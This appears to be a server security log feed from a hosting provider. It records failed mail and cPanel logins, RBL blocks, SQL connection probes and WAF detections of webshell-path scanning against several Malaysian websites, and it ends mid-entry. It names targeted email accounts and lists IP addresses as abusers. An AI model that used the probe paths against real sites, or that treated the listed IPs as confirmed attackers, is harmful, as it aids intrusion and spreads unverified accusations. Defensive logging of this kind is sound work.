abuser: 5.79.216.38
country_id: 2017370
description:
2026-01-15 22:09:01 dovecot_login authenticator failed for H=(pool-5-79-216-38.is74.ru) [5.79.216.38]:50230: 535 Incorrect authentication data (set_id=accounts@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-15 22:08:15 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:57187: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.237.58.18
country_id: 1269750
description:
Jan 15 22:08:48 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.237.58.18 has been locked due to Imunify RBL


plugin: modsec
rule: 77142167
name: IM360 WAF: Block URI containing malicious URLs
abuser: 142.111.53.211
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block URI containing malicious URLs||RSV:7.63||T:APACHE||MVN:ARGS:url||SC:/home2/agsaintifik/public_html/wp-comments-post.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 139.28.190.0
country_id: 2510769
description:
Jan 15 22:10:13 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 139.28.190.0 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.125.230.250
country_id: 798544
description:
Jan 15 22:10:31 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.125.230.250 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.63
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/about-us/images/sliders/contact.php||SC:/home/sutsbcom/public_html/about-us||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.153.56
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/wp-content/images/sliders/cdn-cgi/l/cdn-cgi/l/company.php||SC:/home/sutsbcom/public_html/wp-content/images||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.159.16
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/wp-content/images/sliders/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/news.php||SC:/home/sutsbcom/public_html/wp-content/images||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.136.174
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/wp-content/images/cdn-cgi/l/eco.php||SC:/home/sutsbcom/public_html/wp-content/images||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 24.144.86.221
country_id: 6252001
description:
2026-01-15 22:15:59 128126 [Warning] Aborted connection 128126 to db: 'unconnected' user: 'unauthenticated' host: '24.144.86.221' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.127.42.2
country_id: 2395170
description:
Jan 15 22:16:43 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.127.42.2 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 88.209.245.63
country_id: 1269750
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:22-17.88.209.245.63||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.219.98.118
country_id: 798544
description:
Jan 15 22:18:59 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.219.98.118 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.219.98.118
country_id: 798544
description:
Jan 15 22:19:12 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.219.98.118 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.216.25.6
country_id: 798544
description:
Jan 15 22:19:20 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.216.25.6 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.72.139
country_id: 3469034
description:
Jan 15 22:19:32 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.72.139 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.216.25.138
country_id: 798544
description:
Jan 15 22:19:41 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.216.25.138 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 180.129.13.184
country_id: 1880251
description:
Jan 15 22:20:53 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 180.129.13.184 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.129.13.184
country_id: 1880251
description:
2026-01-15 22:20:55 dovecot_login authenticator failed for H=(184.13.129.180.unknown.m1.com.sg) [180.129.13.184]:37728: 535 Incorrect authentication data (set_id=salesmp@aoto.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.61.10.174
country_id: 3865483
description:
Jan 15 22:21:55 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.61.10.174 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.153.56
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/img/photos/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/news.php||SC:/home/sutsbcom/public_html/img||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.61.10.174
country_id: 3865483
description:
Jan 15 22:22:11 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.61.10.174 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.231.120.186
country_id: 798544
description:
Jan 15 22:23:35 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.231.120.186 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.120.205.12
country_id: 6251999
description:
Jan 15 22:23:56 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.120.205.12 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.120.205.12
country_id: 6251999
description:
2026-01-15 22:23:58 dovecot_plain authenticator failed for H=([10.10.18.222]) [37.120.205.12]:52885: 535 Incorrect authentication data (set_id=fasya@pftfood.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.120.205.12
country_id: 6251999
description:
2026-01-15 22:24:11 dovecot_plain authenticator failed for H=([10.10.18.222]) [37.120.205.12]:42623: 535 Incorrect authentication data (set_id=fasya@pftfood.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.120.205.12
country_id: 6251999
description:
Jan 15 22:24:09 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.120.205.12 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 181.215.16.21
country_id: 290557
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:22-24.181.215.16.21||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.228.32.56
country_id: 798544
description:
Jan 15 22:27:13 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.228.32.56 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 107.173.177.133
country_id: 6252001
description:
Jan 15 22:27:34 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 107.173.177.133 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 107.173.177.133
country_id: 6252001
description:
2026-01-15 22:27:36 dovecot_login authenticator failed for H=(oaevv) [107.173.177.133]:54971: 535 Incorrect authentication data (set_id=export@urban.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.239.84.6
country_id: 3865483
description:
Jan 15 22:27:45 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.239.84.6 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.63.204
country_id: 953987
description:
Jan 15 22:28:17 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.63.204 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 64.89.163.245
description:
2026-01-15 22:29:19 H=([64.89.163.245]) [64.89.163.245]:54290 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<busan@ecck.or.kr> rejected RCPT <jacklim@ktlog.com.my>: SPF: 64.89.163.245 is not allowed to send mail from ecck.or.kr


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.212.29.121
country_id: 192950
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/symfony/console/Helper/HelperSet.php HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 201.189.77.108
country_id: 3895114
description:
[2026-01-15 22:29:42 +0800] info [whostmgrd] 201.189.77.108 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.0.252.115
country_id: 3865483
description:
Jan 15 22:31:20 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.0.252.115 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.179.19
country_id: 3175395
description:
Jan 15 22:31:42 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.179.19 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 201.238.2.163
country_id: 3625428
description:
[2026-01-15 22:32:45 +0800] info [whostmgrd] 201.238.2.163 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.55.123.163
country_id: 3865483
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=360128 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-15 22:36:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:57208: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 157.230.84.241
country_id: 6252001
description:
2026-01-15 22:36:04 128873 [Warning] Aborted connection 128873 to db: 'unconnected' user: 'unauthenticated' host: '157.230.84.241' (This connection closed normally without authentication)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.123.165.148
country_id: 3469034
domain: webhosting2u.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/webhosting2u.com/masaaki/products/masaaki-emas/ HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 181.118.183.166
country_id: 3865483
description:
Jan 15 22:36:42 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 181.118.183.166 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.136.44
country_id: 3469034
description:
Jan 15 22:36:54 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.136.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-15 22:36:15 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:57209: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 15 22:37:12 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 195.24.236.158
country_id: 2750405
description:
2026-01-15 22:37:43 128925 [Warning] Aborted connection 128925 to db: 'unconnected' user: 'unauthenticated' host: '195.24.236.158' (This connection closed normally without authentication)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.161.128.167
country_id: 1643084
description:
[2026-01-15 22:38:05 +0800] info [whostmgrd] 103.161.128.167 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.47.136.126
country_id: 3175395
description:
Jan 15 22:38:16 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.47.136.126 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 181.191.220.162
country_id: 3865483
description:
Jan 15 22:38:26 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 181.191.220.162 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.181.91.37
country_id: 3469034
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/tests/vendor/symfony/http-kernel/Bundle HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 46.210.189.108
country_id: 294640
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/tests/vendor/symfony/http-kernel/Bundle/ HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 195.24.236.158
country_id: 2750405
description:
2026-01-15 22:40:55 129047 [Warning] Aborted connection 129047 to db: 'unconnected' user: 'unauthenticated' host: '195.24.236.158' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 15 22:41:45 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 195.24.236.158
country_id: 2750405
description:
2026-01-15 22:43:04 129130 [Warning] Aborted connection 129130 to db: 'unconnected' user: 'unauthenticated' host: '195.24.236.158' (This connection closed normally without authentication)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 154.81.155.178
country_id: 1880251
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/images/fastfood.jpg HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 46.151.182.48
country_id: 2750405
description:
2026-01-15 22:46:20 H=([46.151.182.48]) [46.151.182.48]:53854 F=<info@astlog.com.my> rejected RCPT <info@astlog.com.my>: smtp auth required


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.10.31.238
country_id: 719819
description:
Jan 15 22:47:02 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.10.31.238 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 212.227.102.117
country_id: 2921044
description:
2026-01-15 22:47:57 dovecot_plain authenticator failed for H=([212.227.102.117]) [212.227.102.117]:49649: 535 Incorrect authentication data (set_id=itdept@ajplantations.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.10.31.238
country_id: 719819
description:
Jan 15 22:47:09 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.10.31.238 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 198.44.133.115
country_id: 6252001
description:
Jan 15 22:47:22 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 198.44.133.115 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.238.106.164
country_id: 3865483
description:
Jan 15 22:47:25 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.238.106.164 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 27.125.249.233
country_id: 1733045
description:
[2026-01-15 22:47:24 +0800] info [whostmgrd] 27.125.249.233 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 198.44.133.115
country_id: 6252001
description:
2026-01-15 22:47:24 dovecot_plain authenticator failed for H=static-198-44-133-115.cust.tzulo.com ([10.144.29.200]) [198.44.133.115]:52309: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 212.227.102.117
country_id: 2921044
description:
Jan 15 22:47:55 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 212.227.102.117 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 178.16.53.2
country_id: 2750405
description:
2026-01-15 22:48:42 H=([178.16.53.2]) [178.16.53.2]:62837 F=<info@valet.it> rejected RCPT <zurina@astlog.com.my>: SPF: 178.16.53.2 is not allowed to send mail from valet.it


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.40.125.62
country_id: 732800
description:
Jan 15 22:49:31 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.40.125.62 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 46.16.105.66
country_id: 6290252
description:
[2026-01-15 22:50:50 +0800] info [whostmgrd] 46.16.105.66 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.129.199
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/services/transportation-radioactive-materials/images/sliders/cdn-cgi/l/cdn-cgi/l/Radioactive_Waste_Management.php||SC:/home/sutsbcom/public_html/services||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 185.150.164.83
country_id: 174982
domain: www.snymetalstamping.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.snymetalstamping.com/qms.php HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/img/photos/cdn-cgi/l/cdn-cgi/l/faq.php||SC:/home/sutsbcom/public_html/img||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.143.84.94
country_id: 2542007
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/swing/10/727/1015467 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 178.16.53.2
country_id: 2750405
description:
2026-01-15 22:55:43 H=([178.16.53.2]) [178.16.53.2]:52540 F=<info@valet.it> rejected RCPT <zainuddin@astlog.com.my>: No Such User Here


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.136.174
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/fphortier/images/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/career.php||SC:/home/sutsbcom/public_html/fphortier||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 68.65.220.89
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:22-59.68.65.220.89||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 168.0.224.89
country_id: 3469034
description:
Jan 15 23:00:35 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 168.0.224.89 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.74.5.204
country_id: 2395170
description:
Jan 15 23:00:35 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.74.5.204 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 140.228.24.168
country_id: 6252001
description:
Jan 15 23:02:51 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 140.228.24.168 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 140.228.24.168
country_id: 6252001
description:
2026-01-15 23:02:53 dovecot_plain authenticator failed for H=([10.9.18.71]) [140.228.24.168]:50082: 535 Incorrect authentication data (set_id=rajanazrul@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-15 23:04:04 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:57224: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.8.127
country_id: 3175395
description:
Jan 15 23:04:05 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.8.127 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.189.201.224
country_id: 3469034
description:
Jan 15 23:04:27 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.189.201.224 has been locked due to Imunify RBL


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 198.235.24.163
country_id: 6252001
description:
2026-01-15 23:04:32 129992 [Warning] Aborted connection 129992 to db: 'unconnected' user: 'unauthenticated' host: '198.235.24.163' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.153.174.18
country_id: 298795
description:
Jan 15 23:04:51 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.153.174.18 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.8.127
country_id: 3175395
description:
Jan 15 23:04:12 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.8.127 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-15 23:04:16 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:57225: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 139.47.158.7
country_id: 2510769
description:
Jan 15 23:05:33 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 139.47.158.7 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 178.16.53.2
country_id: 2750405
description:
2026-01-15 23:05:44 H=([178.16.53.2]) [178.16.53.2]:61718 F=<info@valet.it> rejected RCPT <info@aire-fresh.com>: SPF: 178.16.53.2 is not allowed to send mail from valet.it


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 87.103.126.54
country_id: 2264397
description:
Jan 15 23:06:29 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 87.103.126.54 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-01-15 23:06:31 dovecot_plain authenticator failed for H=54.126.103.87.rev.vodafone.pt (rebdellars) [87.103.126.54]:38978: 535 Incorrect authentication data (set_id=info@symphony-led.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.17.91.226
country_id: 1562822
description:
2026-01-15 23:07:16 dovecot_login authenticator failed for H=([103.17.91.226]) [103.17.91.226]:57656: 535 Incorrect authentication data (set_id=lkwong.isc@vc-b.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.8.254
country_id: 3175395
description:
Jan 15 23:08:06 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.8.254 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.8.254
country_id: 3175395
description:
Jan 15 23:08:13 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.8.254 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.122.98.171
country_id: 3996063
description:
Jan 15 23:08:38 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.122.98.171 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 197.234.207.17
country_id: 953987
description:
Jan 15 23:10:56 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 197.234.207.17 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 197.234.207.17
country_id: 953987
description:
Jan 15 23:11:09 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 197.234.207.17 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 24.1.200.187
country_id: 6252001
description:
Jan 15 23:12:39 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 24.1.200.187 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.1.200.187
country_id: 6252001
description:
2026-01-15 23:12:41 dovecot_plain authenticator failed for H=c-24-1-200-187.hsd1.il.comcast.net (nobidal) [24.1.200.187]:59932: 535 Incorrect authentication data (set_id=info@fimco.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.188.212.17
country_id: 2510769
description:
